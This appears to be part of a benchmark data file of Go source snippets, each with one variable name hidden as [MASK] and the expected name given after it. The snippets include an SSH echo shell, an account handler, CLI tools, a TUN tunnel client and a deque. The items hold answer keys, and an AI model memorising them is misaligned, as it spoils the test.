// Ask password of this user password, err := spe.Ask(""2. Please enter a password: "") if err != nil { fmt.Println(err) os.Exit(1) } fmt.Printf(""Password result: %q\n"", password) } ",yourName 173,"package main import ( ""fmt"" ""strings"" log ""github.com/mgutz/logxi/v1"" ""github.com/blacklabeldata/sshh"" ""golang.org/x/crypto/ssh"" ""golang.org/x/crypto/ssh/terminal"" tomb ""gopkg.in/tomb.v2"" ) func NewShellHandler(logger log.Logger) sshh.SSHHandler { return &shellHandler{logger} } type shellHandler struct { logger log.Logger } func (s *shellHandler) Handle(parentTomb tomb.Tomb, sshConn *ssh.ServerConn, channel ssh.Channel, requests <-chan *ssh.Request) error { defer channel.Close() s.logger.Info(""WooHoo!!! Inside Handler!"") // Create tomb for terminal goroutines var t tomb.Tomb // Sessions have out-of-band requests such as ""shell"", // ""pty-req"" and ""env"". Here we handle only the // ""shell"" request. t.Go(func() error { OUTER: for { select { case <-parentTomb.Dying(): t.Kill(nil) break OUTER case req := <-requests: if req == nil { break OUTER } ok := false switch req.Type { case ""shell"": ok = true if len(req.Payload) > 0 { // fmt.Println(string(req.Payload)) // We don't accept any // commands, only the // default shell. ok = false } case ""pty-req"": // Responding 'ok' here will let the client // know we have a pty ready for input ok = true t.Go(func() error { return s.startTerminal(t, sshConn, channel) }) } req.Reply(ok, nil) } } return nil }) return t.Wait() } func (s *shellHandler) startTerminal(parentTomb tomb.Tomb, sshConn *ssh.ServerConn, channel ssh.Channel) error { defer channel.Close() [MASK] := "">>> "" term := terminal.NewTerminal(channel, [MASK] ) // // Try to make the terminal raw // oldState, err := terminal.MakeRaw(0) // if err != nil { // logger.Warn(""Error making terminal raw: "", err.Error()) // } // defer terminal.Restore(0, oldState) // Get username username, ok := sshConn.Permissions.Extensions[""username""] if !ok { username = ""user"" } // Write ascii text term.Write([]byte(fmt.Sprintf(""\r\n Nice job, %s! You are connected!\r\n"", username))) defer term.Write([]byte(fmt.Sprintf(""\r\nGoodbye, %s!\r\n"", username))) // Start REPL for { select { case <-parentTomb.Dying(): return nil default: s.logger.Info(""Reading line..."") input, err := term.ReadLine() if err != nil { fmt.Errorf(""Readline() error"") return err } // Process line line := strings.TrimSpace(input) if len(line) > 0 { // Log input and handle exit requests if line == ""exit"" || line == ""quit"" { s.logger.Info(""Closing connection"") return nil } // Echo input channel.Write(term.Escape.Green) channel.Write([]byte(line + ""\r\n"")) channel.Write(term.Escape.Reset) } } } return nil } ",prompt 174,"package main import ( ""fmt"" ""net/http"" log ""github.com/Sirupsen/logrus"" ""gopkg.in/mgo.v2"" ) // AccountHandler dispatches requests to handlers that manage the /account resource based on // request method. func AccountHandler(c *Context, w http.ResponseWriter, r *http.Request) { switch r.Method { case ""POST"": CreateHandler(c, w, r) default: APIError{ Message: fmt.Sprintf(""Unsupported method %s. Only POST is accepted for this resource."", r.Method), }.Log("""").Report(w, http.StatusMethodNotAllowed) } } // CreateHandler creates and persists a new account based on a username and password. An error is // returned if the username is not unique. Otherwise, an accepted status is returned. func CreateHandler(c *Context, w http.ResponseWriter, r *http.Request) { [MASK] , password, ok := ExtractPasswordCredentials(w, r, ""Account creation"") if !ok { return } account, err := NewAccount( [MASK] , password) if err != nil { APIError{ Message: fmt.Sprintf(""Unable to create account: %v"", err), }.Log("""").Report(w, http.StatusInternalServerError) return } err = c.Storage.CreateAccount(account) if mgo.IsDup(err) { APIError{ Message: fmt.Sprintf( `The account name ""%s"" has already been taken. Please choose another.`, [MASK] , ), }.Log("""").Report(w, http.StatusConflict) return } if err != nil { APIError{Message: ""Internal storage error.""}.Log( [MASK] ).Report(w, http.StatusInternalServerError) return } log.WithFields(log.Fields{ ""account"": [MASK] , }).Info(""Account created successfully."") w.WriteHeader(http.StatusCreated) } ",accountName 175,"package algo import ( ""math/rand"" ""sort"" ""github.com/dropbox/godropbox/errors"" ) // [left, right] func Partition(array sort.Interface, left int, right int, pivotIndex int) (int, error) { if pivotIndex < left || pivotIndex > right { return -1, errors.New(""Pivot index out of range"") } if left < 0 || right >= array.Len() { return -1, errors.New(""Array index out of range"") } [MASK] := right array.Swap(pivotIndex, [MASK] ) leftIndex := left for i := left; i < [MASK] ; i++ { if array.Less(i, [MASK] ) { array.Swap(leftIndex, i) leftIndex++ } } array.Swap(leftIndex, [MASK] ) return leftIndex, nil } // k is started from 1 func QuickSelect(array sort.Interface, k int) error { if k <= 0 || k > array.Len() { return errors.New(""Parameter k is invalid"") } k-- left := 0 right := array.Len() - 1 for { if left == right { return nil } pivotIndex := left + rand.Intn(right-left+1) pivotIndex, err := Partition(array, left, right, pivotIndex) if err != nil { return errors.Wrap(err, ""Partition returns error"") } if k == pivotIndex { return nil } else if k < pivotIndex { right = pivotIndex - 1 } else { left = pivotIndex + 1 } } } ",lastIndex 176,"package cmd import ( ""fmt"" ""os"" ""github.com/securedock/pkg/server"" ""github.com/spf13/cobra"" ) var rootCmd = &cobra.Command{ Use: ""securedock"", Short: ""SecureDock - 容器安全检测工具"", Long: `SecureDock 是一个全面的容器安全检测工具,提供以下功能: - 容器镜像扫描 - 容器运行时安全检查 更多功能正在开发中... `, } func Execute() { if err := rootCmd.Execute(); err != nil { fmt.Println(err) os.Exit(1) } // 检查是否以服务模式运行 [MASK] , _ := rootCmd.PersistentFlags().GetBool(""server"") if [MASK] { host, _ := rootCmd.PersistentFlags().GetString(""host"") port, _ := rootCmd.PersistentFlags().GetInt(""port"") // 创建并启动HTTP服务 server := server.NewServer(host, port) server.SetupRoutes() if err := server.Start(); err != nil { fmt.Println(""启动HTTP服务失败:"", err) os.Exit(1) } } } func init() { rootCmd.PersistentFlags().StringP(""config"", ""c"", """", ""配置文件路径"") rootCmd.PersistentFlags().BoolP(""verbose"", ""v"", false, ""启用详细输出模式"") rootCmd.PersistentFlags().BoolP(""server"", ""s"", false, ""以HTTP服务模式运行"") rootCmd.PersistentFlags().StringP(""host"", """", ""localhost"", ""HTTP服务监听地址"") rootCmd.PersistentFlags().IntP(""port"", ""p"", 8080, ""HTTP服务监听端口"") } ",serverMode 177,"package cmd import ( ""fmt"" ""github.com/kubepatch/kubepatch/internal/unstr"" ""github.com/kubepatch/kubepatch/internal/patch"" ""github.com/spf13/cobra"" ) type PatchCmdOptions struct { Filenames []string PatchFilePath string Recursive bool EnvsubstPrefixes []string } func NewPatchCmd() *cobra.Command { opts := PatchCmdOptions{} cmd := &cobra.Command{ Use: ""patch"", SilenceErrors: true, SilenceUsage: true, Short: ""Render Kubernetes YAML by overlaying a JSON-patch file"", Long: `Patch reads one or more *base* manifests, applies the specified JSON-Patch overlay, and prints the rendered manifest set to stdout. Base manifests remain template-free; all environment-specific changes live in the patch file. The output can be piped straight to kubectl or stored for GitOps diffing.`, Example: ` # Render dev manifests and apply them to the cluster kubepatch patch -f base/ -p patches/dev.yaml | kubectl apply -f - # Recursively patch everything under ./k8s and diff against the cluster kubepatch patch -f ./k8s -R -p patches/prod.yaml | kubectl diff -f - # Allow ${CI_*} substitutions inside the patch file CI_IMAGE_TAG=1.23.4 \ kubepatch patch \ -f base/ \ -p patches/ci.yaml \ --envsubst-prefixes CI_`, RunE: func(_ *cobra.Command, _ []string) error { // read manifests manifests, err := unstr.ReadDocs(opts.Filenames, opts.Recursive) if err != nil { return err } // read patch-file, subst envs [MASK] , err := patch.ReadPatchFile(opts.PatchFilePath, opts.EnvsubstPrefixes) if err != nil { return err } // preform the job rendered, err := patch.Run(manifests, [MASK] ) if err != nil { return nil } // print rendered fmt.Println(string(rendered)) return nil }, } cmd.Flags().StringSliceVarP(&opts.Filenames, ""filename"", ""f"", nil, ""Manifest files, glob patterns, or directories to apply"") cmd.Flags().StringVarP(&opts.PatchFilePath, ""patchfile"", ""p"", """", ""Patch file"") cmd.Flags().BoolVarP(&opts.Recursive, ""recursive"", ""R"", false, ""Recurse into directories specified with --filename."") cmd.Flags().StringSliceVar(&opts.EnvsubstPrefixes, ""envsubst-prefixes"", nil, ""List of prefixes, allowed for envsubst in a patch-file"") _ = cmd.MarkFlagRequired(""filename"") //nolint:errcheck _ = cmd.MarkFlagRequired(""patchfile"") //nolint:errcheck return cmd } ",patchFile 178,"package cmd import ( ""fmt"" ""os"" ""github.com/linkerd/linkerd2/cli/table"" pkgcmd ""github.com/linkerd/linkerd2/pkg/cmd"" ""github.com/linkerd/linkerd2/pkg/k8s"" ""github.com/spf13/cobra"" ) func newCmdAuthz() *cobra.Command { var namespace string cmd := &cobra.Command{ Use: ""authz [flags] resource"", Short: ""List authorizations for a resource"", Long: ""List authorizations for a resource."", Args: cobra.RangeArgs(1, 2), ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { k8sAPI, err := k8s.NewAPI(kubeconfigPath, kubeContext, impersonate, impersonateGroup, 0) if err != nil { return nil, cobra.ShellCompDirectiveError } if namespace == """" { namespace = pkgcmd.GetDefaultNamespace(kubeconfigPath, kubeContext) } cc := k8s.NewCommandCompletion(k8sAPI, namespace) results, err := cc.Complete(args, toComplete) if err != nil { return nil, cobra.ShellCompDirectiveError } return results, cobra.ShellCompDirectiveDefault }, RunE: func(cmd *cobra.Command, args []string) error { if namespace == """" { namespace = pkgcmd.GetDefaultNamespace(kubeconfigPath, kubeContext) } k8sAPI, err := k8s.NewAPI(kubeconfigPath, kubeContext, impersonate, impersonateGroup, 0) if err != nil { return err } var resource string if len(args) == 1 { resource = args[0] } else if len(args) == 2 { resource = args[0] + ""/"" + args[1] } [MASK] := make([]table.Row, 0) authzs, err := k8s.AuthorizationsForResource(cmd.Context(), k8sAPI, namespace, resource) if err != nil { fmt.Fprintf(os.Stderr, ""Failed to get serverauthorization resources: %s\n"", err) os.Exit(1) } for _, authz := range authzs { if authz.Route == """" { authz.Route = ""*"" } [MASK] = append( [MASK] , table.Row{authz.Route, authz.Server, authz.AuthorizationPolicy, authz.ServerAuthorization}) } cols := []table.Column{ {Header: ""ROUTE"", Width: 6, Flexible: true, LeftAlign: true}, {Header: ""SERVER"", Width: 6, Flexible: true, LeftAlign: true}, {Header: ""AUTHORIZATION_POLICY"", Width: 21, Flexible: true, LeftAlign: true}, {Header: ""SERVER_AUTHORIZATION"", Width: 21, Flexible: true, LeftAlign: true}, } table := table.NewTable(cols, [MASK] ) table.Render(os.Stdout) return nil }, } cmd.PersistentFlags().StringVarP(&namespace, ""namespace"", ""n"", """", ""Namespace of resource"") pkgcmd.ConfigureNamespaceFlagCompletion(cmd, []string{""namespace""}, kubeconfigPath, impersonate, impersonateGroup, kubeContext) return cmd } ",rows 179,"package client import ( ""crypto"" ""crypto/rand"" ""crypto/rsa"" ""crypto/sha256"" ""encoding/binary"" ""fmt"" ""log"" ""net"" ""sync"" ""time"" ""github.com/songgao/water"" ""github.com/Azumi67/LocalTun_TCP/1.7/client/utils"" ) func RunClientSide(serverAddr string, serverPort int, tunIP, serverTunIP, subnetMask, tunName, privateKeyPath string, mtu int, [MASK] bool, sockBuffSize int, keepaliveInterval time.Duration, tcpNoDelay, logEnabled bool, workerFlag string) { if subnetMask == """" { subnetMask = utils.DefaultSubnet(tunIP) } if logEnabled { logFile, err := utils.LogFile(""/etc/client.log"") if err != nil { log.Fatalf(""Couldn't open log file: %v"", err) } defer logFile.Close() log.SetOutput(logFile) } privateKey, err := utils.LoadPrivateKey(privateKeyPath) if err != nil { log.Fatalf(""Couldn't load private key: %v"", err) } config := water.Config{ DeviceType: water.TUN, } config.Name = tunName tun, err := water.New(config) if err != nil { log.Fatalf(""Couldn't create TUN device: %v"", err) } defer tun.Close() log.Printf(""TUN device created: %s\n"", tun.Name()) if err := utils.Cmd(""ip"", ""link"", ""set"", ""dev"", tun.Name(), ""up""); err != nil { log.Fatalf(""Couldn't bring up the TUN device: %v"", err) } if err := utils.Cmd(""ip"", ""link"", ""set"", ""dev"", tun.Name(), ""mtu"", fmt.Sprintf(""%d"", mtu)); err != nil { log.Fatalf(""Couldn't set MTU: %v"", err) } if err := utils.Cmd(""ip"", ""addr"", ""add"", fmt.Sprintf(""%s/%s"", tunIP, subnetMask), ""dev"", tun.Name()); err != nil { log.Fatalf(""Couldn't assign private IP address to TUN device: %v"", err) } if utils.IPv6(serverTunIP) { if err := utils.Cmd(""ip"", ""-6"", ""route"", ""add"", fmt.Sprintf(""%s/128"", serverTunIP), ""dev"", tun.Name()); err != nil { log.Fatalf(""Adding route for private IPv6 failed: %v"", err) } } else { if err := utils.Cmd(""ip"", ""route"", ""add"", fmt.Sprintf(""%s/32"", serverTunIP), ""dev"", tun.Name()); err != nil { log.Fatalf(""Adding route for private IPv4 failed: %v"", err) } } if err := utils.Cmd(""sh"", ""-c"", ""echo 1 > /proc/sys/net/ipv4/ip_forward""); err != nil { log.Fatalf(""Enabling IPv4 forwarding failed: %v"", err) } if err := utils.Cmd(""sh"", ""-c"", ""echo 1 > /proc/sys/net/ipv6/conf/all/forwarding""); err != nil { log.Fatalf(""Enabling IPv6 forwarding failed: %v"", err) } conn, err := net.Dial(""tcp"", fmt.Sprintf(""[%s]:%d"", serverAddr, serverPort)) if err != nil { log.Fatalf(""Could not connect to server: %v"", err) } defer conn.Close() log.Println(""Connected to server"") if keepaliveInterval > 0 { if tcpConn, ok := conn.(*net.TCPConn); ok { tcpConn.SetKeepAlive(true) tcpConn.SetKeepAlivePeriod(keepaliveInterval) } } if [MASK] && sockBuffSize > 0 { err := conn.(*net.TCPConn).SetReadBuffer(sockBuffSize) if err != nil { log.Printf(""set read buffer size failed: %v"", err) } err = conn.(*net.TCPConn).SetWriteBuffer(sockBuffSize) if err != nil { log.Printf(""set write buffer size failed: %v"", err) } } if tcpNoDelay { if tcpConn, ok := conn.(*net.TCPConn); ok { tcpConn.SetNoDelay(true) } } hashed := sha256.New() signature, err := rsa.SignPKCS1v15(rand.Reader, privateKey, crypto.SHA256, hashed.Sum(nil)) if err != nil { log.Fatalf(""signing data wasn't possible: %v"", err) } _, err = conn.Write(signature) if err != nil { log.Fatalf(""Couldn't send auth key: %v"", err) } workerCount := utils.WorkerCount(workerFlag) if workerCount > 0 { taskChan := make(chan []byte, workerCount) var workerWg sync.WaitGroup for i := 0; i < workerCount; i++ { workerWg.Add(1) go worker(tun, taskChan, &workerWg) } go func() { for { pcktLength := make([]byte, 2) _, err := conn.Read(pcktLength) if err != nil { continue } length := binary.BigEndian.Uint16(pcktLength) buff := make([]byte, length) n, err := conn.Read(buff) if err != nil { log.Printf(""Couldn't read data from the server: %v"", err) continue } if n != int(length) { log.Printf(""Packet length mismatch: expected %d, but gotten %d"", length, n) continue } taskChan <- buff[:n] } }() for { buff := make([]byte, 1500) n, err := tun.Read(buff) if err != nil { log.Printf(""Couldn't read from TUN device: %v"", err) continue } packet := make([]byte, 2+n) binary.BigEndian.PutUint16(packet[:2], uint16(n)) copy(packet[2:], buff[:n]) _, err = conn.Write(packet) if err != nil { log.Printf(""Couldn't write to server: %v"", err) continue } log.Printf(""Forwarded %d bytes to the server\n"", n) } close(taskChan) workerWg.Wait() } else { for { pcktLength := make([]byte, 2) _, err := conn.Read(pcktLength) if err != nil { continue } length := binary.BigEndian.Uint16(pcktLength) buff := make([]byte, length) n, err := conn.Read(buff) if err != nil { log.Printf(""Couldn't read data from the server: %v"", err) continue } if n != int(length) { log.Printf(""Packet length mismatch: expected %d, but gotten %d"", length, n) continue } _, err = tun.Write(buff[:n]) if err != nil { log.Printf(""Couldn't write to TUN device: %v"", err) continue } log.Printf(""Written %d bytes to TUN device\n"", n) } } } func worker(tun *water.Interface, taskChan <-chan []byte, wg *sync.WaitGroup) { defer wg.Done() for task := range taskChan { _, err := tun.Write(task) if err != nil { log.Printf(""Couldn't write to TUN device: %v"", err) continue } log.Printf(""Worker task: written %d bytes to TUN device\n"", len(task)) } } ",sockEnabled 180,"package main import ( ""github.com/iyacontrol/drone-wechat/wechat"" ) type ( // Repo information. Repo struct { Owner string Name string } // Commit information. Commit struct { Sha string Branch string Link string Author string Email string Message string } // Build information. Build struct { Tag string Event string Number int Status string Link string Started float64 Finished float64 PR string } // Config for the plugin. Config struct { CorpID string CorpSecret string Token string EncodingAESKey string Text string } // Plugin values. Plugin struct { Repo Repo Commit Commit Build Build Config Config } ) // Exec executes the plugin. func (p Plugin) Exec() error { if p.Config.Text == """" { return errors.New(""text is emplty"") } //配置微信参数 [MASK] := &wechat.Config{ CorpID: p.Config.CorpID, CorpSecret: p.Config.CorpSecret, Token: p.Config.Token, EncodingAESKey: p.Config.EncodingAESKey, } wc := wechat.NewWechat( [MASK] ) wc.Send(p.Config.Text) return nil }",config 181,"package squeue /* Copyright 2021 Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissionsand limitations under the License. */ import ( ""fmt"" ) // Squeue - Performant double-ended queue data structure // Built in Go with slice internals // // Memory concerns involving slice-based queues have been handled: // - Values are set to nil once no longer needed // - Both the outer and underlying slices behave circularly, so // they both only need grow at full slice utilization. // - When an inner queue reaches capacity, it creates a new // slice to add/take elements to/from, with double the capacity // of the previous inner queue. The previous inner queue remains // untouched until its values are needed, it is not reallocated. // - When the outer queue reaches capacity and must grow, the // pointers in the outer queue are reallocated in proper order // into a bigger slice. The values at the pointers are untouched. // - At no point does the program allow for growth of slices beyond // what is needed, and the memory provided by the slices is // utilized maximally as elements are added and removed (due to // circular behavior). Dynamic growth/allocations and optimal // utilization of the slices prevents any kind of memory leak. // // Time amortization is prevalent in this implementation: // - The slice, by its nature, allocates a set number of memory // addresses to which we can add data. This behavior is faster at // scale, because we do not need to allocate memory for each node // upon element add, like in a linked list. // - This data structure allows for queue slices to be available at // the top level, while the data that lies in the middle of the // deque is stored as pointers and dereferenced when the data is // needed. This way, the add/delete operations must only index one // slice instead of two (outer and inner to get elem). // - The size is also found in a O(1) time amortized fashion, preventing // the need for an additional CPU operation at every add/delete. // // Data Structure Overview // - Consists of head/tail slices with elements, as well as an // underlying slice of memory references which emulate a queue. // - Add/delete operations are performed on the head/tail slices. // When a slice meets its capacity and it is no longer immediately // needed, its start index is cached, and a new slice is allocated. // A pointer to the newly allocated slice is saved in the outer slice, // indexed adjacent to the pointer of the slice that met its capacity. // The newly allocated slice becomes the new head/tail. // - When the head/tail empties, a pointer is taken from the outer slice. // The pointer is dereferenced, and used as the new head/tail. // - When only one inner slice reference remains, the tail is set to nil, // and all operations are done on the head slice. A head slice // containing no elements would indicate an empty queue. // - The inner and outer slices all behave as circular queues, for time // and memory optimization. // - The outer queue keeps a buffer slice outside the head and tail; the // buffer is not there from initialization, but as the queue grows and // shrinks, a buffer slice will be kept to avoid discarding and // reallocating the same slice redundantly during edge cases. /* Data Types */ // Squeue: main type // - Slice-based, circular queue that uses a cache to cut the time of necessary reallocations type Squeue struct { head, tail []interface{} // Head and tail slices, containing elements; add/delete operations of elements will occur on these slices cache []*Cached // Cache of pointers to slices and the index of their first element headF, headL, tailF, tailL, cacheF, cacheL int // Circular pointers; F is the index to first element in queue, L is the index after the last element in queue (first available slot) cacheSize int // Size of cache; element counts recorded as slices enter the cache (time amortized) } // Cached: underlying type for Squeue type Cached struct { ptr *[]interface{} // Pointer to a queue that exists in the Squeue data structure idx int // Index of the first element in the queue that is pointed at (queue is circular) } /* Exports */ // New - queue constructor, convinience method // Accepts initial values to be enqueued, in the order listed func New(initial ...interface{}) Squeue { n := len(initial) head, cache := make([]interface{}, 2*max(n, 10)), make([]*Cached, 6) copy(head, initial) cache[0] = &Cached{&head, 0} return Squeue{head, nil, cache, 0, n, 0, 0, 0, 1, 0} } // Shift - add to front of queue // Add element to the head, increments head pointer func (sq *Squeue) Shift(elem interface{}) { // Check if head queue has room available if !(sq.headL == sq.headF && sq.head[sq.headL] != nil) { // Slots remain in head slice; set head pointer to next available, add elem sq.headF -= 1 if sq.headF < 0 { sq.headF += len(sq.head) } sq.head[sq.headF] = elem return } // Head slice is full switch { case sq.tail == nil: // If tail is nil, full head becomes tail, so head can become new slice sq.tail = sq.head sq.tailF, sq.tailL = sq.headF, sq.headL default: // If cache at capacity, reallocate to bigger slice if sq.cacheF == sq.cacheL { sq.grow() } // Head needs to be cached, set starting elem before caching sq.cache[sq.cacheF].idx = sq.headF sq.cacheSize += len(sq.head) } // Set new index sq.cacheF -= 1 if sq.cacheF < 0 { sq.cacheF += len(sq.cache) } // Check for slice in cache, set head if sq.cache[sq.cacheF] != nil { // Use empty slice from cache sq.head = (*sq.cache[sq.cacheF].ptr) sq.headF, sq.headL = 0, 0 } else { // Create new head slice, save pointer to cache inner := make([]interface{}, min(2*max(len(sq.head), len(sq.tail)), 100000)) sq.cache[sq.cacheF] = &Cached{&inner, 0} // Set head, pointers sq.head = inner sq.headF, sq.headL = 0, 1 } // Add elem to head sq.head[sq.headF] = elem } // Push - add to back of queue (enqueue) // Adds element to tail, increments tail pointer func (sq *Squeue) Push(elem interface{}) { switch { case sq.tail == nil: // Perform operation on head slice if !(sq.headL == sq.headF && sq.head[sq.headL] != nil) { // Slots remain in head slice; add elem, inc tail pointer sq.head[sq.headL] = elem sq.headL = (sq.headL + 1) % len(sq.head) return } else { // Head full, check for slice in cache if sq.cache[sq.cacheL] != nil { // Use empty slice from cache sq.tail = (*sq.cache[sq.cacheL].ptr) sq.tailF, sq.tailL = 0, 0 } else { // New slice allocated inner := make([]interface{}, min(2*len(sq.head), 100000)) sq.cache[sq.cacheL] = &Cached{&inner, 0} // Set tail, pointers sq.tail = inner sq.tailF, sq.tailL = 0, 0 } // Inc outer tail pointer sq.cacheL = (sq.cacheL + 1) % len(sq.cache) } default: // Tail slice exists if sq.tailL == sq.tailF && sq.tail[sq.tailL] != nil { // Tail at capacity if sq.cacheL == sq.cacheF { // Cache at capacity, grow outer slice sq.grow() } d1 := sq.cacheL - 1 if d1 < 0 { d1 += len(sq.cache) } // Add tail pointer to cache, record size sq.cache[d1].idx = sq.tailF sq.cacheSize += len(sq.tail) // Check for slice in cache, set tail if sq.cache[sq.cacheL] != nil { // Use empty slice from cache sq.tail = (*sq.cache[sq.cacheL].ptr) sq.tailF, sq.tailL = 0, 0 } else { // Create new tail inner := make([]interface{}, min(2*max(len(sq.head), len(sq.tail)), 100000)) sq.cache[sq.cacheL] = &Cached{&inner, 0} // Set tail, pointers sq.tail = inner sq.tailF, sq.tailL = 0, 0 } // Inc outer tail pointer sq.cacheL = (sq.cacheL + 1) % len(sq.cache) } } // Add elem to tail, inc tail pointer sq.tail[sq.tailL] = elem sq.tailL = (sq.tailL + 1) % len(sq.tail) } // PeekFront - retrieve first element from queue without removing it // Checks for empty queue, if not returns first elem func (sq *Squeue) PeekFront() (interface{}, error) { // Check for elem in head queue elem := sq.head[sq.headF] // Return elem if found if elem != nil { return elem, nil } // No elems in head; move to next slice in cache until only head left d1, d2 := (sq.cacheF - 1), ((sq.cacheF + 1) % len(sq.cache)) if d1 < 0 { d1 += len(sq.cache) } // Check the last queue has been used if d2 == sq.cacheL { return nil, fmt.Errorf(""no elements remaining in queue"") } // Void cached slice pointer if not in use if sq.cacheF != sq.cacheL && d1 != sq.cacheL { sq.cache[d1] = nil } // Inc outer head pointer sq.cacheF = d2 // Get next slice if ((sq.cacheF + 1) % len(sq.cache)) == sq.cacheL { // Only one slice remains: the head should take the tail's place, and tail should be void sq.head = sq.tail sq.headF, sq.headL = sq.tailF, sq.tailL sq.tail = nil } else { // Pointer taken from cache; dereference, and use as head sq.head = (*sq.cache[sq.cacheF].ptr) sq.cacheSize -= len(sq.head) hF := sq.cache[sq.cacheF].idx sq.headF, sq.headL = hF, hF } // Elem is nil; recurse until elem is found or cache is empty return sq.PeekFront() } // PeekBack - retrieve last element from queue without removing it // Checks for empty queue, if not returns last elem func (sq *Squeue) PeekBack() (interface{}, error) { var elem interface{} d1 := sq.cacheF - 1 if d1 < 0 { d1 += len(sq.cache) } if sq.tail == nil { // Perform operation on head slice if sq.headL == 0 { elem = sq.head[len(sq.head)-1] } else { elem = sq.head[sq.headL-1] } // Return elem if found if elem != nil { return elem, nil } return nil, fmt.Errorf(""no elements remaining in queue"") } // Perform operation on tail slice if sq.tailL == 0 { elem = sq.tail[len(sq.tail)-1] } else { elem = sq.tail[sq.tailL-1] } // Return elem if found if elem != nil { return elem, nil } // No elems in tail; move to next slice in cache until only head left d2, d3 := sq.cacheL-1, sq.cacheL-2 if d2 < 0 { d2 += len(sq.cache) } if d3 < 0 { d3 += len(sq.cache) } // Void cached slice pointer if not in use if sq.cacheL != sq.cacheF && sq.cacheL != d1 { sq.cache[sq.cacheL] = nil } // Dec outer tail pointer sq.cacheL = d2 if sq.cacheL == ((sq.cacheF + 1) % len(sq.cache)) { // Last slice in cache, set tail to nil sq.tail = nil } else { // Take pointer from cache, dereference, use as tail sq.tail = (*sq.cache[d3].ptr) tF := sq.cache[d3].idx sq.tailF, sq.tailL = tF, tF sq.cacheSize -= len(sq.tail) } // Elem is nil; recurse until elem is found or cache is empty return sq.PeekBack() } // Unshift - remove element from front of queue (dequeue) // Retrieves the elem, and if successful deletes its value in the slice // Increments the head pointer to next elem in queue func (sq *Squeue) Unshift() (interface{}, error) { // Get first elem in queue; if none, return error elem, err := sq.PeekFront() if err != nil { return nil, err } // Void element, move pointer sq.head[sq.headF] = nil sq.headF = (sq.headF + 1) % len(sq.head) return elem, nil } // Pop - remove element from back of queue // Retrieves the elem, and if successful deletes its value in the slice // Decrements the tail pointer to next elem in queue func (sq *Squeue) Pop() (interface{}, error) { // Get last elem in queue; if none, return error elem, err := sq.PeekBack() if err != nil { return nil, err } // Void element, move pointer switch { case sq.tail == nil: // Perform operation on head slice sq.headL -= 1 if sq.headL < 0 { sq.headL += len(sq.head) } sq.head[sq.headL] = nil default: // Perform operation on tail slice sq.tailL -= 1 if sq.tailL < 0 { sq.tailL += len(sq.tail) } sq.tail[sq.tailL] = nil } return elem, nil } // Size - returns number of elements in queue // O(1) amortized time complexity // Cached slices record their length before caching, so only the size // of the head and the tail must be found, which are O(1) func (sq *Squeue) Size() int { return sq.headSize() + sq.cacheSize + sq.tailSize() } // Returns true if queue is empty func (sq *Squeue) Empty() bool { return sq.Size() == 0 } // Each - returns underlying slice for iteration - convinience method // Method takes values from memory in O(n) time; iteration is done most performantly // using delete operations (Unshift/Pop) until the queue is empty // Ex. // for !qq.Empty() { // elem := qq.Pop() // // do something with elem // } func (sq *Squeue) Each() []interface{} { s := make([]interface{}, 0) s = sq.appendHead(s) s = sq.appendCache(s) s = sq.appendTail(s) return s } // String - string representation: formats relevant slots of underlying slice as string // Relies on Each() method to load values from memory - O(n) func (sq *Squeue) String() string { return fmt.Sprint(sq.Each()) } /* Internals */ // Resize slice to double the number of elements in the queue // For small n, place values at beginning of larger slice to prevent unnecessary allocations func (sq *Squeue) grow() { n := cap(sq.cache) if n < 6 { sq.resize(8) } else { sq.resize(2 * n) } } // Allocates bigger cache slices, copies elements from old onto new // Slice is in circular order, and are reset to 0th index // Reconfigures pointers to reflect shift func (sq *Squeue) resize(m int) { // Allocate new cache slices var j int = 0 qq := make([]*Cached, m) // Copy existing values to beginning of new slice switch { case sq.cacheF == 0: copy(qq, sq.cache) j = len(sq.cache) default: lenq := len(sq.cache) for i := sq.cacheF; i < lenq; i++ { qq[j] = sq.cache[i] j++ } for i := 0; i < sq.cacheL; i++ { qq[j] = sq.cache[i] j++ } } // Set pointers sq.cacheF = 0 sq.cacheL = j // Set underlying slice as newly allocated slice sq.cache = qq } func (sq *Squeue) headSize() int { res := 0 if sq.head == nil { return res } f, l := sq.headF, sq.headL switch { case f < l: res = l - f case f > l: res = len(sq.head) - f + l default: if sq.head[f] != nil { res = len(sq.head) } } return res } func (sq *Squeue) tailSize() int { res := 0 if sq.tail == nil { return res } f, l := sq.tailF, sq.tailL switch { case f < l: res = l - f case f > l: res = len(sq.tail) - f + l default: if sq.tail[f] != nil { res = len(sq.tail) } } return res } // Add values from head into slice in queue order, return slice func (sq *Squeue) appendHead(s []interface{}) []interface{} { q, p, c := sq.head, sq.headF, sq.headL lenq := len(q) if p < c { for j := p; j < c; j++ { s = append(s, q[j]) } } else { for j := p; j < lenq; j++ { s = append(s, q[j]) } for j := 0; j < c; j++ { s = append(s, q[j]) } } return s } // Add values from tail into slice in queue order, return slice func (sq *Squeue) appendTail(s []interface{}) []interface{} { q, p, c := sq.tail, sq.tailF, sq.tailL lenq := len(q) if p < c { for j := p; j < c; j++ { s = append(s, q[j]) } } else { for j := p; j < lenq; j++ { s = append(s, q[j]) } for j := 0; j < c; j++ { s = append(s, q[j]) } } return s } // Get slice from reference in cache in queue order, then add their values in their queue order to a slice. Return the slice func (sq *Squeue) appendCache(s []interface{}) []interface{} { switch { case sq.cacheF < sq.cacheL: for i := sq.cacheF + 1; i < sq.cacheL-1; i++ { s = sq.appendCacheInner(s, i) } default: [MASK] := len(sq.cache) for i := sq.cacheF + 1; i < [MASK] ; i++ { s = sq.appendCacheInner(s, i) } for i := 0; i < sq.cacheL-1; i++ { s = sq.appendCacheInner(s, i) } } return s } // appendCache util func (sq *Squeue) appendCacheInner(s []interface{}, i int) []interface{} { q, p := *(sq.cache[i].ptr), sq.cache[i].idx lenq := len(q) for j := p; j < lenq; j++ { s = append(s, q[j]) } for j := 0; j < p; j++ { s = append(s, q[j]) } return s } // Returns the maximum of two integers; if equal, returns the first arguemnt func max(n, m int) int { if m > n { return m } return n } // Returns the minimum of two integers; if equal, returns the first arguemnt func min(n, m int) int { if m < n { return m } return n } ",lenQ 182,"// Copyright 2023 cloudeng llc. All rights reserved. // Use of this source code is governed by the Apache-2.0 // license that can be found in the LICENSE file. // multimod 